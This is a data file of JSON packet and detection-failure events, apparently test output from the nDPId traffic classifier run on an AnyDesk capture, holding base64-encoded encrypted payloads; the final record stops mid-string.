+02449{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1170,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977609,"pkt_ts_usec":790003,"pkt_caplen":1591,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":1591,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAfKdAAIAGAADAqAG7wKgBstOUG56PI0zJWcQszFAYIBCExAAAFwMDBfxZ4hNO+msVwSYVohGy+j7US1rtdPDdZEStM6SXX2nsqpUwvEosy4Fb\/N5rK3VDNvAHJpaSrDyzlW\/ufWwx\/NxRZRSoMltccj8P2BSz7MSgSr6QuCB1QHuDoCU+L9IXgo52MJB9Rddp83GbsO4Bw3RjsLBD5ShahSOPEgF6WhgqHa6sx1sQ+MS4m+WJyvOX4ukFK6CvRLdGBtgZnsAxU1Hg\/w+mozED+GWWeZYki9NzdpAfZf5xIRe3h\/TJD3YeYqSs+McM43Ck2Nm9NT6mcldEOEhw8xrzKB9G+SK8V7dJduOnqX5ad9zKW7SSaNBclzOKS+Al6nR46D8dLpXgliWx3H4ThVjMCWaCBAFhPp4L4YhukOprdxTenGBFhAanbR8+Nkt5Axt0iobmylbmC82fYiYV86wb9p0qS+ykMriMhHeQe190sOQnLWlbLjBTE00Xv6oBrOkKrD1bUjpwPdCxl435vng2jS0VLTchfYX7G7F2rKSIPHuOcXTFnyXXIfgIRYKlJKUeBp28WAl6Vj7YqHXEJ7Sou+qqXamHjNSs8XW0hSBdXIz3KT+JBN9jRLj3lWOri4JTZu0QmV4sw21fkVrVTZvyG8WsXZLgNVLRJhhh6+a+AZWckj\/3maC7NYJZrqLBFGx4PLMcID5QXqCwauDRH5OLZDkHTvzkHkJSIGglmSgGliQllh7SRlvpKe9zwNkVqv3El2t4KEGM4ZP\/FOzOSZ1P41SWZUzHlyl3BRAocnJaX9KhPxsiXcNTTsWEIa8caGb4bDUFqiU+C5ItNq5oVpEFIYY9aru71+ca+\/9rUqoj3qu8y7bbcHSgwnDsD3VKcOf\/Oh2WCxyM07rTD2MvlZDaHMzjsr3sRQqEIqJRrxwqI7jlJ0OHQ0zOqFRC3WGfsWaadCfOBBHIz+p8Pk3EL6mcSh2PXPdyM1QMKYaA0x8nevHsUOpjt6ANuiGiOhm\/0fy+G9dGuu7rXjP+dopHgWjIxRNW0FNSbooi8kK3ZFEIqdLxRpH0XJFIXXh0AbY3Tq++KNrnGZBOO95zcQaPEg+WQx2+WOcTYbOJNwyfqN3sZ6HcTfYVTwIJ+J+j24M8iqlj2k7rDC2du4cBm6mymRCj547Cy7pzkRg0OfCgg+mam3lWDyQrObDXlRKa9rtb5PdxisU+Ii5yQq4v8flh5b1dPdRquQOlXP865v8eH2Sg8A8csZmRYodyHY9hal1Zy17PTT24aikDIY+PKT8Oxop1JeF+fXVzXmgos\/B0J0oDRLBw0ORFhcooZ7InlCfcsn8KXJxqQ+OjCYgR15EV3mI8MkPNPOREyv7ixzXwlQVJCsUPKyY7o2U63uBb4Jj6aqaeifj5LKAqEpPaOngpfyk0obVW7UyWLgONoEqRvYuFNCPsA7Lmbqc4AwkP8pl3g4ogIe+qPqVoSx0SwcIrAsKF17bYjWMt8oxoqKp3vCPXtKYYO8X2Qk+49oBlyrcS87Dhm552leDwZmltps7IbEuTNCYbeEwk7HlgqetiHV49mOy\/K+Km80udX0Pz6gQ\/8c3Trcutqtd8BT5Hi88JQChxS7kC40ip0KCkkC0klueZpvLmYJ93+Y0FoJocoXO9oX8BWqkNHFTD5Tp+NAX7VTWOjHVZsoL6hVo3GeATe5ZrKKQay1vAjRUsVWZY+6zvnUEtnOqnVcA56vy2FCvkub9u7z2QvgQ9k2vxkJrwWhJvOUsEf\/PGsp8iTfBTD7seUZxlF60x7cdH8uSL3JcPSfr4T4m9LS\/NF1Q90qCCVhAK\/Xm2YiUEn6tsJvZ2xT3aS4EdNmGcJAjg0nZq5WgWDMuakrE41i12\/Vvpw30swGw4NDMwtYib4k26TXvp0Ah+JihkeRTIOW\/YdrB9M89XCgeFrDEWJmoDcAVIqmbR3tYO2jNa3rIBCdjKVwX4WBHi4F5jOhFJ7mGVS1ZwJX3Bh0W1HSNFnO\/PEW2f0lTbcDwAldtJ0+pixAye\/xwZ7XL+zgVF4hfG9vWJMr2nHvjPTyPuWuincMvSE0tFTeqKzxc60KEi4o0U4Q=="} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1170,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":1557} +04194{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1172,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977609,"pkt_ts_usec":790427,"pkt_caplen":2866,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":2866,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAfKlAAIAGAADAqAG7wKgBstOUG56PI1LKWcQszFAYIBCExAAAFwMDCvdZ4hNO+msVwv3YOinItPby428fJVrMC2LDt55juPL\/2Zj40nk5\/snhIrNei+oZrrJKn8RcqUZw5oxDt+UYUyrodXs5wltgMCzbXlKsk7PPcqP1kBTOwEI+s+fNwpMBYZ7QKB2vT3+xa\/jTjYEhILTy71sdWYpvvsT6T3IAxP5Ta7mbxi9WtgVS8HXuS2+YJ+JVZr7W7qIaRwmFMcdJfTU5faiHLFEjjFMAztpaenWzo4PEgChDeUZPhQ7C27cicRmhPSw13KBS8SIhQerVUcAHDb9OGurzoCzTb5CRuGnC+Fn5z5a2XWEvFEpX1QXshjScKKQNq3Sw5s+mT9AQ0N1Xro+yTnZO2LCXNzix9iID+\/2g7BPlyUj\/O7Qi+BR+ypmsIF0Un6IShc9ywz\/32JdZ1Tp+Dvu0xwG2d542F6lSPYUvqwRsLUyuOPrnetJ8Lu64IWXLbSjzd9CM9Rs015WcPO3TwcbTlOGd1UM2I0W1nTXkJ+8LZLpUHdK4miE3kFfmAgEOTEMYt8us+kfBHg\/yJmjn6WLKxDikXFlxEKDRg1j6I6fomaxnh3nDLRTmExEz0zB+TndtKtVNHAggHWZ6BOj2Y5QyF1NB0pckpyMt4jwHazeKhtV9J9Ql9y+V6w+LIhfmdw4eOghyOccO+HG+SRmEZgM9MZIW+G+bnDqi2eCuOyvFBALMyqyYgEfFlDEWlQ8McBnn\/HD8VKHkKCqCvTULERA0dGNviO+s+FIX4Fw6g6kTIc3fiFR\/hr2J83fewjDa23GKHMIAeni7HhcoICzH\/kLDhLc1K3u\/qTCY52SGKEfNaC1D76jpeauQo+1ffaN0bbX2oylFMJtB1s8R5eWOfavvslLY0wzcUfpXvODw+jiB99VVi\/Ptm2kZwY5mjYaAbN\/8YGGWM\/td2Ak9rSZbaM0WhdUTIrgehwukGLut5l45p0rNJaN+nJr3ChP7yBBsZOpWu7NDeQIoLtfPqu5LZOUzPf09mYgeYwM0qJrfL1Z6uG7AAMIVFBHzoIrZAG5SQB8DVRKQH7e5+Fe4wJOzfhDrlmd6YS+yLdD2uxkq3p\/8D7lungV911CqywJrE+h9HUqU242EsmyB78RelyFNZU5WyDhMq77Nw6t5uFSZc3FgtqmaIWVAzEVMmKZu5GsyT2CYFTlqAKbm5raDiYenPn4YNcV7yNjivxzRiS0nK37B87CaZLXcCzbE0eHC3qVbFngpSNRD4DgVCtmZ77u8vFAAlhC20WMRSWQjg2uiT+NgcqaCI8LyX91F7r0XPT4+13pftJcyjvwahccEsbEG45zJf43nFEPla9GBmWqFrGadUb4H1ujwzGkcS3Kjk9rFCmMtF0BUcUiC\/2QyozKKT0qsr8Kg1fayXwR6D00UaloryRQqc2UfQ23HbrmrQeb4CV9HL4ir5FE3FEcZ3w49zneqWDPyYbFxtnIN9Zdr28FMYO9UA3RHUNcw4Wh0VRr49Ss0CZPzdfYx5Jm9+9JsjimVAD6t6sAbNlQRQ05QriYKT+vioL2qJltZK\/QfTRaeHh+6u5P5qvPEOuysDXzZ5E21BaRigLdYOBRInKK3lfXKl\/qmZZNjkt7aU+dF4o2rBwDOm7eRHhO52PbSb44SS28RtJx59\/KYtDF96ff+ZaIxWGXCUU6bZu5UjMd2aOohN9ga61nxaRN3XildcLP5ehFSyb7Kxggn\/0SnqYaXlHk2mwBzwjgYmylSGowtBV2TjKct4el4okg7AF4\/Z\/zs8w7f03NQDqfivjs4H3U7afqHKGPVjs8xB9eVE9GD6N\/5FEIIY+HjgvM4hO8SrJ8s2IjRiRVRxscsz+L1yKSFnO+gD0btVo5baL8VlH2t4AJJTVa5GVSlsi52pggNPQwwTsEr21QOXGW1heWMqqdBj4llkDCKrDoKhiNDR5QjYwHPp\/rdLmQr0guIsXHjtAp2NbyMXlr+WGrWCfAMHYr9UiYqAJ1SN1NEF5mHWcxhMne6mvXQE0eVEnPEd44IKCdCuORf5ebX6sdbMoMwmFKQQRO5+ItFYiDHmBVA4A0gJlpOLuh\/Kap65ACQlWiAzcknfEjaR6R64\/A9mfUoDI6OjiBZMQX5FgwYSm4MCfCWl0F9sB8CUr4YlIEY9avnAYAqH02y\/Bxzls+SkaZlqJnj3+ZWRKDMhmYWVou0D\/JWPE+7\/1Pv34nxFy8Ay\/ub6kPc9zQL6aOBTaVkrtK33FNZ1AlZFkUWs3oacWj94ur9xvs2p4maxaJ2rsr3taKl4Uuru7uaFKWXKp6eFu85GiDM93q34e+y6PKLsxZRZJ9K+SmEetZ4bQZvexyqPrablfzrFsHp86ShVuOjR5SCrNVba\/Sb9IUolfwryEux4WC3loHu56rswc\/R1fjit9YDVPJ\/m9+nW3YmGwSEQno2CMxidfS0hnCEPv614MUIPTxJMfSd8deUtp2b14LwIIzzNqMK6Yf2ub\/JcZNOXAy\/b3PgIbgNuHN3x60NN\/wDnUPxcDHH55rPjOAWwae1g42WtaheXzV7H95rz4AeBxzHoo4oW3nSNn4hfcAWPLbjdB+Iy9dt6Il9fOuIsTbMIYbfEmlloRCbP0qAIIYEDETX\/L2LZWiFkrdIo\/GlbDTZEx08bNEhPMIHRvX9WNRvwH3o1laQxGwhCGJA4VrVbyGMGfSQdbn0aIG1ILqn\/qdxgPvhMoQFXxSr7M8qpxfC34JFhsdykya4mwqKMSyHEGr+4ZkeiR9mOXu8+mUrHv2MYIqcmvDttGZsG57wBnz4xc+iPHea7LvI9s4tWospwJKZIta1VDOuMjGJS5GBNF3vpR30pUYIUpo6FXZVQ7DOo7HEtE7TA\/ZjE8mgfskfz7DwDb\/ASNvaSNuDz7EmTnRivPRRD0\/X6RxNj26Dh71Y2lr1IhJ3t8yvzjdSM4icJZuAiGZ\/bHIc8+\/psKpvXJOHimetFNGq8KbPGeLB6dE4GstyDrmWIWBbqdBFDkfMePOKc150UfoHqB\/RDKK24M\/jyjCIbsTEpKdXWAmEuN5Hmb9Lo\/aQrpeDzTlPNHvw0w0ODRd3JzESnwnH6YWL7PBojaHkB+bQK\/U7qryyTKb4edlD7w4ibhtbdNzPNAK+ZsP+EAHq+AKFJ\/\/y\/EuhVPmP93dhUhBdq3S1M7yJ8\/qMy6dk4XpqSHOcz9jDvisEtFi3iu3YGlQwJle3dEcEnm5rBTEZEeyK6t7l\/uwCkTevamYV8\/WxQ8QNA2I\/KLzWW4fASYBQyKopgKnjOO4b+Yif5iOcFYqBpcgMft9aoSd4BrOo94p5QNejjdz\/aruMpE6Kd7si70dc0VQh9iWz8Mak8+V3Y0m6j4g2M+Lnx+fLBDUlLTbs1EZN2ghgQ1kMvAaQHyJEacHlj\/yRF2Ug9ACig3GFD+wvt7ChNSSoPu2u9exMdOLOM2\/LA19EwqKiYl0v0OlmdkNA+kK3qmxad7r8RB3c5qp6tvq6BRY08p\/yWMH+4YV7lfNTW\/sI83zvjbhNNbUzBvFlzKm1B\/GOLab6srS05nPNQ4038S0PX6u0x8xGcO\/wykLEjd26R+7qav5YyZWqd\/t5e7we3Esd2VDjcYpObqhmsVilmSu752wX78HursKRa5SVMqya0ZIJWr69ofiSnwY8MIgKlASNgPPpV8sZx8PaoZlIUtQhWWishnqxGr+3Zi8jTSxu1x1Ora6iIxpiRYQ\/nWCZEkIfmuRk9oirhI2cgOVZImrUqI1\/xVSXBJuHkCvT9g=="} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1172,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":2832} +06132{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1176,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977609,"pkt_ts_usec":791263,"pkt_caplen":4315,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":4315,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAfKtAAIAGAADAqAG7wKgBstOUG56PI13GWcQs+1AYIBCExAAAFwMDEKBZ4hNO+msVw9K2hiEccLJTLYCYQfOadkD7SwDnQP3G5xM8LVnY1GEd+6LWtrCdaJ47FIK1kqYHdoB\/Kkxf0kEPEdWWgCBg81VcbhV7t8AAtU6c87n8VQGThwy4LbgKo4PYmSfAZVThw27+ORfMaq8URhJki+bX3bzwAaHNjUDPivf+b7w01R0d\/2073f6HiiaIU0FUHOe9q1sjJporQk7kGmi1IlXU1HiWDbLezfcGuRvAyWm6ZPonYQOpL1HSO+leEVMHzsXKnuVL6EeLfT\/i7DPDgfRROLN1jui4DSL+C9FWHX9BymwLM6BjRLuIAbCnNPgCn2O3w7eflTZZfskUk0NruRiU1KI7tLBg6aXY\/B5BOHrMR1tQz7L8dqh3QluNVb8KM3MOUqAAZCtGuatCo+WtLHki7pIfX9GI8HLuZKo5uSHw1DtQSfSMKlWyB+kG70nCWNQXtOJvNsIZGn8+J\/rQmYRsp7iEd4qyGeOXB2QvUYonjV7xv6B0FHt880MDBYL0JHfUV5zlI1a9sTuEkYdmSvwajO+lY3VqJqGAIeQzOhXqkFdI2v0P9T8E95OViEfGwWik+lmUcKJ2IfwlEkoxsQ8199gvd38g2ZZbsS7ocHrmi943XKO+9ugRORseW7tl1CW\/ZIEHMw4SfeYm5bvmwvGPUtt4A435IQfjubpPeyfLfEo3bQKuNv2hPHRUbfP\/tAMpAQLfm5uuccw2dCoGteykY+ST9cyovBMTa8H3Lcezz9CiSM055ahxh2BtWSVcw2NRQIFQeS5SkTI1GauGGYzq2fCCyr0fYmGSJY8pv7fTPCECFXu6kbNq+hEbbzmcOqHGGLNOlloYmuErsLdcXlgcQqoqPMLt+EWrgfWbne5u56NZq2vVPT68XBGJcZ7nTqsy1inEHJYpERUgyKzloSVem4ayxtNQI5CeQoqarGagxIdPuiheKGrLhOai89u9tu9\/ybsMl0JcJpe8fB+uVL4FF8exUcXeadws+AaK62D8pDPM2VtwA4s+f2MvEWgdakkyoPSiGmJhUCFwtGP9I8vFQV\/AoIxPRxi0uTT5fvC6SVJeLsHXzCdxJbL1SBJO8CQC0ZKVrLlw0R+5y13ZOJi33e03Gxvy9Pecbm+a6wkfdaQQKrp7IXTflkLu0mmEH0ZPbJRoWXpC0JQCKVOWFq\/pe6jQR20faj4L5B9J7Pjg6\/dLqh7lAbk7xRVE\/wyyXdlqna2kFYm2mJuTzwAZf+9Kmv\/zVfnH6Yf4pJIdOHr6LZAQPSLnO9GxwBdGofAKAf9uuFFOlYL\/RgUfE19TGvIsxWBV\/PqVl3G7yjtPae3YwAjQdvm0I+erYkDfzqTbFre9jOiBoSX5o1ACO+gSf6XuM5xJR2BBcuV0w5QfpvDFo\/lAKv4M6cCMj8JIyhq+q0YmeGOlrgNaR\/BMMkWAgdTvCLdokRi3TTv1fM8F1ENyuVRlFNBPV57GILpOt8TTNYfFIZGBEtTHFjfRUq10JZ7mL5hJG9PfEXXOqW7SqEOQZLGC1PIDvZIuDfD4mJi99LcPMRcntFMRXSxvhmAq06Kjbwdl0tIB19TY3ZMbEgnlGh9LNRI4tFFmdnGzhDFKGe1hcejarE1h3qyhaFITtegInGAkXG2i1GOjmhlt85sS7MdltS2PwBwMBJ3Xz8kVM\/ehIPNmsVxo3QT8+o41XTteL2Uwi8FUzsHa+bYL2RHD250ZaUxyoHLAYM9cdqnFbTW+\/cqabBcdfdW8fYnmzfeNr9ataPTjbQ9OYKNQ103y1Gi0sGEoYcru9iLThq7daBJcntu1p0UyooMuHCXfxevqd9yYcQjh0Fxg9sTynerro6Ytb4mvwT44lE7NgpK2XydiDK0WXJDd4RlJV4pSthhoMpvJpeIShzelc4UOililAfBvnPSb7J8yowLFSOdOXC49aKHaZbrYmG\/c4jeHyrQ619x5Atn9qq04zYD1nt2ffVILHwFzb\/ytAHV9yG420CvkxU5N3FiuRAYCtF1AJvteNYdnrXHwJu6ZL1Hl8VRE0EII\/iuyvdn5FtV+icsmsf78enO9UN7EcVcchI2mEeYCSRffKdlskHPnRBDT09+Gj7ooY1UOxEB5cxUMhtK4evlC94WVe5lQwis3XQ64BRNKPdjKWNTjLOcwN4oYHPmXw8pr4CSEg3MADRBXXFLhglRtaKuDJij9kVukD8kj9M\/sGlu27saYX4FiiDXRr4mpVwBdui6mimokuBdlrmdnhde3eHra8VU1ddGp4fRS6blQQPKVUfr2imTUIYgZYU2rAJL\/cY5uuL9pJT6AOqsBzMYui6ZyeV4tGnhIMMsODO4fsk8J3KJ++WImLUCLtL+cohW6tl28877CEhItKB4KSmN\/MbF7r713tj55PSPOn0exIGjv5xNfczQu8M2x+saTcg5uTC\/GokrOXBuCWRbW\/QoTpZAWGJq2nPN36EeemQp92oTs1MQHnyf3qfPoFJ1aaf7YZUFBvkGMfRNEv3xQ+lGrjMGH88CCd4C3W3aUIJdPQJFRq9JppDi4jtuLmuvRKUOOkwRhPfdJG2dFEn9MaBn4d638XmwAIHkks+CnIrAr4HcP8MhLhfO4G6Mw7x1TDAy0oh+K+KmwOpWvMgRk3lE4karisigfbPFPwDDJGFGquWBlhrz+DTb\/D9sDHtqr6Qsd4DEM5p5t8zuwjxqXZkiVoAGo\/MIT5LKMw02L+acuKU8jQZNDWdchpd2e87dfJ8BXw4lulCM+3pML\/VzIsLKbZ6NwYQNIi25tkMR22suracZmz6RAlbYCkRgOnI5VgBdJZUwBohtVaH8vOIvHkRL86tFBbl+vIgII4uNM4W1JBjMJtB4cNOuMSQm1HsiEZbi5jL\/wkPq0R9wSIa0WfOYtO0\/BeqsVp8LhqHJyivjOEh9KASZYc9TTtA1DGuzEl\/v+46wYH8YuvkSZpiRcrje7NYvhWC56y23uzp8PHfbwX4981FRP5r1BpaAUeP\/6rmodNV3F8j7DFMCZoCdDTHDLv3R3k+LcTpbJ\/mdSy684oYBSUbNImr2iMlJibS6VM5wg3MuGAwZ1gw7dGRhuS2FUqoYgeLkBbbjgZJjQONG3yh0QV0iy376BlKc4MmHWStNR3i2fpg14BwAZLyDV4OIODltscZXlN24aF+cKo1tSv99QmJxwjCriwyGBLEzkUuvoha0gmkYzZ6FeEuo1AuAYSYQ039j9uKXi4S6mZRRpqbFeOiYkeIbefsB6JdhH98SFbgXJ8NR0mUBGd1RSMdZzr8l\/YruPiIcZn0cUo4imB+iQbhrOBeE678WK+2mqrlkefn81LKArYXOxzibu4KSFYpNRYpglkHWZ4RSc57uUXPO43yR8OYGvt6cSBSRroLqYNndhmYf8JAzFCNtgE8TaNYYXsHlZLNwV66n\/P9\/Hd07o5Jwgw6FHyXoxum08g5jx+hvZYn4pjoMvSYitpHpCvslTGLPqwfVlro8BbxrIH8Pyxg3e6V8cofaNzKAXeU4B9W5hS0dW7604d5Iw1xHmFFqDixVXNfnUyJGXMoWcMmIutbGg4hD4NcG4rMcs6uuLnYqzFKTmX4XFiYAsRGSxuFrKOjg5KIk7GntJxUwcsYNSgqDPtNf0tQYluBkK0jakqX2p2iOVyZIdsu8trPiDq+4JwYUzCoioAYRLLdAWZx7Z+s29JrLcYpsSpmqSipO0NdPUZ9QiWJ+Dqs2sTA3r2BdmT\/oD4kHp3b1Re+Vz05Z4nc03yiJeipgKbZq7chDMdxyKQBnZxvlT2CG\/tVh7EHwFrDiUanXCbRNONDImlHJwWix2cUrUwK6Tu+QTTzjxseOXW5KlK1mnpxp6TcKZwtsFcM6cD59Ewx\/HqsAsJML8oGLWfsZ3gG8dF8whW\/zYueHAozXwwJ\/6iwIMAPLpjQCCz76J\/QnYqjoZMjNWrs2D37Nle7tM5XVP+7Ev92ejmyNX66zBmi8yMfp\/VkQhXmOzQv7GRrexGVmczJu2b1DPDJbtgL8d2vnnbzxSfbWH2oekPkZbZL3IZ3t54eAgVMdpjsrhMuMaOYWKFi0EcHfSMkzR485ALTPhHZ\/03t+nRaKmngjBRKd0SeCpdAWLfa2H42Twswp6RnsCTamX9DemoYOn984dxSpLk5+4GFoT6Mj9oJaiJm3pwagGXmsn8zmdaTszK92\/ehVSl81p0Jf9RXcpUwXoWIaXkMxiAE0i993xSVm7NHfMxixWaVNOYzg2iB9ZJ7+ktDUPs0T9oBMC4ZV8Ng+wAr6VrDPcL6KXcNs5WyKu2ONbw6GGwfOKA2Jla67VCpe8ZyfnZi7Ps31xcdL6g5yZ1CMlM9Ht2c\/wON1yFNTvu4SCa5\/n\/XMGDIFfe0+Yg7Pujz5Cpky7vUOVX\/W8acfcJjzcbdLbguxcygyEwGS\/OeBfNXy16AED3E10FJzV5uPvlgyc86m4rLtzdFTh2FSiB4Jl2hDLW5Q6bofL+Vwjs3TdIrut\/kY+ImILe1rH8W53vDW9ihCNYNVBvK\/IHtDwp8sqmg+HZy\/791jFeIMSCbMtCqXjSB+P7fs5TxrVOPKVb4hkB5f2FQkrQbq41ya\/ixKbhjVNs1tl\/DHNyOfFxoO141okkb5IxBs8C5sqdt4Qc0xvVAPCh9195dW5SQYfeDq6WElJdBC+tMmRofYV6wx0JAhcHv9zuTmnlWZsY4xKSN7ghaR+TcAX9RdCi9Fr3ctW9TLI\/7gp51z6gPGfxGkUK8y8EuQLGKZ6xHpPsr\/BrpITg0\/9peWDVNDGncag7ULQLOidl4+v9eekqaDl6R2Co3kSdMP2MO43ydhUSheVXWW+ReTYx7zosYlQjBZZgg1DERPofCBLMJEObXwVrJm4tiQQDahuE6IojV2fNKh4Lia6DDCXFw4DU4f1vbefFZfpdQh9AQ1MR29NudTHt2YYVpOUziOV7pr4WHxJAOKaldgRxB7RUAvhRQmPj271agECQSwfvt6RdNwbjcMQRY+kGVNGsS\/jp6egw8fmCsmA79cYvA6OpTd5f6ZRGl\/VhDs1HvGT74taJDgA+RojOuOJ4OgYtPfe+CXl0FEi97L2yKvscDeZ5v5ZNK9HRshM8gvO\/CzT6fVYk8qbp6OBHpjxciZH+32954B9tsJH5qP2Nj4RHJ96WQmmtbLAIu8oKtinmmVIScqoBvCpmYEvCEnt1e7TihUN8LwZ8k\/\/vmqVQWeYNE10bslkteTPh+BupRWXio\/cU\/OJgs3bWWgChZAMKnmBJIuCm\/oDPHo6SauF60UnwGynWEjR4DKdSVoENN0q\/h6umgczCpQJM9TKQ3eDseCV41GjBxOBiklTht9Pj0971wNjB+pOGALDxzBsxC6sM40+aaeQSSa+BigCsNsC880XFs+CTY7Ym4DkudYTzyUiMy7xBHRbG5UQqeBbQxaDehgpMZ4vHt6\/UUWJ18aVEbDir6SigP5W9Ls5yNmXGe0oNNVQ5bjML5c2HGUEd9G2ICTE9wt35+ybvL7nxL0SgiPi4g1XPAsKqMzZs+mAHv4nQjnJp4C0IMUJzV5vIoeBBoQbyPF2gFaFy6vbYkHORC39OY54EelVFCMBwD1DHydabyuWBR4kPrP+X7MB50jBQGPGT973gu3olJfjECw+LkpV1as5aqX34aMAGwpSpiG11bh5YbmP9pT+ak36\/Q=="} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1176,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":4281} +03720{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1182,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977609,"pkt_ts_usec":820378,"pkt_caplen":2513,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":2513,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAfLFAAIAGAADAqAG7wKgBstOUG56PI3NbWcQtWVAYIA+ExAAAFwMDCZZZ4hNO+msVxVweBw2GVjaCNVzBgNRJfrCUiQtDiWmi7aatOwDdh6mhNIvDztRz5M+CKFyYAU4itnoegYZ\/2elOob8hlLocu9nm3zUPvLTIEqMuozDnNskYYOCNQ1vjIQ5pfwMke02CJ62zs6qTbNa9oe0pVp5df8VWnYKbAAKpCGtF2ewUU1z5Yqo09cBJ34QGAEyGQOctESUovCTz+xwjBN4VAWM7olrc\/arEVsB+Oad3OePqvdq9phiaSxLNaJiXV8LVXqrFJa95n0XiTKdOK5Iz0UG0sSMrc41fLMMDlVrYRdsG\/sjANATT6YzFgWL1PwPXFBHeOVCCcOgXqeNthb41MXLzAMt6Rcyyw9\/kPh8YNDiWJg5GSmkmcApl3i7XM\/mqNwYfy1MJElBYXXgin+57gcJAuyUyfUhGHJnoiSTQ9Z\/mHIjgNU9DNQcAoF6AwVomycjze3qcw\/DdEdIBfzqEwrNM7DD6wVXmNIKOmS9CFAwA30HDCISn3T3mcBJAcad6yPCgbF\/wOpkzOIAAGcKxW\/3p0ASvi8b\/ey+O8PwDnK7K6KbLe5CLPRGH3I2uzYlaJJFf2U4qXAy8OKN\/bWFuhZJlwAw7PcLYlxjwM6jM0h4BLLJ6El1JoHPlIZTQVOu33b\/AlsXDOs+AIIpSLfTPmEITMnxTVxu93j3E3WJ9IxLHvMLAx+Fe\/2l0rX4ayOS\/LScx0DygWPRR+AbnAxjQ09pC9GkzOwUAmfrvT775hIIkEhFbC3VeBK4owe14PtoDzItTIlhep7\/dcIz416rYNSBoE5VmTUogEVkXeDeasluomnsQ5avadld6HoDBg4SrGhDQcU99WcL7Xp2YnLyQx0dDxj1JU37IZ7cpr4T28IXgkQokk\/IPOxaWosdtIvgigyxC5yjxlqcn4YTqQ3LkS3YYt5MHkYEkqgQR9chkd2PsdArT3X9LAQ+zMWwQa3pbXnKjMB\/UEtdlMuI7MutDizCI9MzFnwIxWw3OCyIkKfqPChytJ6qmyZ8f9DjKjoSLgI1fNZldt969bZzcRh7hVhKqW\/9R7ekYngmag+ZaJwo2VwSUiOvESlZyNs\/SvlA8hDfBgUz3BP3jNfnc36\/onofCrnePO6UnHI0sWzzWT3+3vf0YOS2dQS5xTB2fs4JIXahMxnKEMPtwhC2n1tadXxx6VrfZ5MCSGdKBRJYpHQUtCdiMl0ux0iMvPwcmPVqRQFN\/RbUXhOwqjFkdKwNC2moZikxdHawp8m\/nvDhwMHdEk1vem4xWYr9YS1e+ZVUbhj4ChSqWboJGMONkmaD1BHFtpUn3uzHJrbVeiIojOEoxow3xjlncu\/0\/XEjHa0Z7FmP46mzH3iQ5mJU0ChqIDN4pA7Kmpu4W8Zhd09Fh6+Ahlx+qeSbgRA\/\/oKs+G7VSIBuBIMOjeqQVI8R4JJ7xcKzDtdt7c14QUismg3NFsnzEqnV2I4v2xEHWFMhPBBjf\/OZZYRNKMxDwIv0Y50\/hR2TKrpXOImQs2AxGVKsAdkVWBQ11pQWc4jGhUBjpBXHtFOZb4FzPyafL2SnCSsApZX1aJ9kHV23voUHvkC0PlUa58nv6mIAPYYONqsARgxHWDq0qnCHufbWHxdzcIniXoB76mV3pnBoxlad32e68HKXqAWEEAOkX6\/o2BN1fn9IMqymcVSYKA0fbWYJqqBSX\/tz7HdJ36x+2TIuAna\/pC8vwkY8Q3dP2UczhtcIPiWdRZqairTP9TiyD8G2xDgZQPdWZUFWzo6sOXI4mnDrkjQ+a7jc9uJYtUij\/bcCm2dyNTHuG3oR\/+WrXyxDGfiVFwIoHXjXj5bWhbFu7IU+debqG+G1n79A77So+cqmpsPAxaS4Re0n7GZizK0rAV430MON3JKRt4pWBkDxCZJQZPT67iDRFr5KZRpSt3T6j9Il4oC1JhUoRSle+wzrSVnBnDFhu\/a72NiPMKENKNMkaFqhg+RlY8RF+rBqV629EFU4CnZjUyAsjncg3bCIV9\/wloOtuq\/P\/4HaFoMZhTbvfjjAfPmcQgnLR\/bkgmiqWn8odmJS3GyELCoJAw\/XeqD4HLgx1h5lEbQ7Q8+D3vNLQUG+PXtv5cbZxZ+cCwI7oFqqALkpbF2lREx0DZSVns2MV2U1wGyCYv\/pLDlQOd6YNxSw8G\/xHdPJ9WKLU1OYPfSo25577k1CdJ3kViFvCFcLorxtVZtyaqWzTgCowYA8vypoijKPrxo7cNK5erfc87oFQHoZwaUjPLBjEmgKXq4UAiCsRSpMmLNiAz45N\/uacPz6lJs5bOWZwarUSAJA3OXr2zVJoz2uqB0ixoHTw+Vk+QQvWMofW94GI4Yr1mB9yJBl\/o4188rj\/EB7f0wLt5sGGZgsEgqahcRrOMpJCUWaXPAfoPq4sMdNdVfiCgs2vC0l9WsMqwBuE5PwiVMgmz75RMRcYDVWLFVhemm31fHPdLxzVrT2KeufTXvRB6JqdOaRg4V\/f3zby7y5138Dd\/5pTmSIgvQRpajd4GD4Ke0RHUsSFtlH0j02SXS4nxR9uEhMX8w\/ZFpcqY\/V1huLQkfg8fn5Ougs3VoxUv5GbeHnR+Z08wawkKP97qpe4JmmEX2BqHLEK8mf18zrwz5\/4a2dnJSckUUv6ZjZdX9FhnS3BviiNoF0Ha\/NFUWKrIkz+wyEPTTVTCmJeVK+U4plpPtScrgk9j9RYIAzpoz99DPdbaNPMcccW